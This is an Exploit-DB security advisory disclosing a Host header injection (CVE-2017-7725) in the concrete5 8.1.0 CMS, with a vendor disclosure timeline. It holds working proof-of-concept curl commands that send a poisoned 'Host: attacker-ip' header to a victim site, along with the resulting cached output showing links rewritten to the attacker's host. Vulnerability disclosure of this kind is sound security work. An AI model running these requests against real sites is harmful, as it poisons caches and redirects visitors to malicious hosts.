Concrete5 8.1.0 - 'Host' Header Injection

EDB-ID: 41885
Author: hyp3rlinx
Published: 2017-04-14
CVE: CVE-2017-7725
Type: Webapps
Platform: PHP
Vulnerable App: Download Vulnerable Application

 [+] Website: 
[+] Source:
[+] ISR: ApparitionSec


concrete5 v8.1.0

concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.

Vulnerability Type:
Host Header Injection

CVE Reference:

Security Issue:
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.

Example MySQL data from "CollectionVersionBlocksOutputCache" table.

(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489


c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more

<!DOCTYPE html>
<html lang="en">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
<link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
var CCM_CID = 162;
var CCM_EDIT_MODE = false;
var CCM_ARRANGE_MODE = false;
var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE
var CCM_REL = "/concrete5-8.1.0";


curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"

Navigate to one of these URLs:


Click on links in header portion of the webpage from one of the above URLs.

Team / Drop down Menu


click on the links on footer portion of the webpage.

FAQ / Help
Case Studies
Another Link
View on Google Maps

Result: user gets redirected to attacker-ip.

Network Access:


Disclosure Timeline:
Vendor Notification : April 11, 2017
Vendor reply: "this is a known issue" : April 12, 2017
Requested a CVE from mitre.
CVE assigned : April 12, 2017
April 13, 2017 : Public Disclosure

[+] Disclaimer
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
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or exploits by the author or elsewhere. All content (c).

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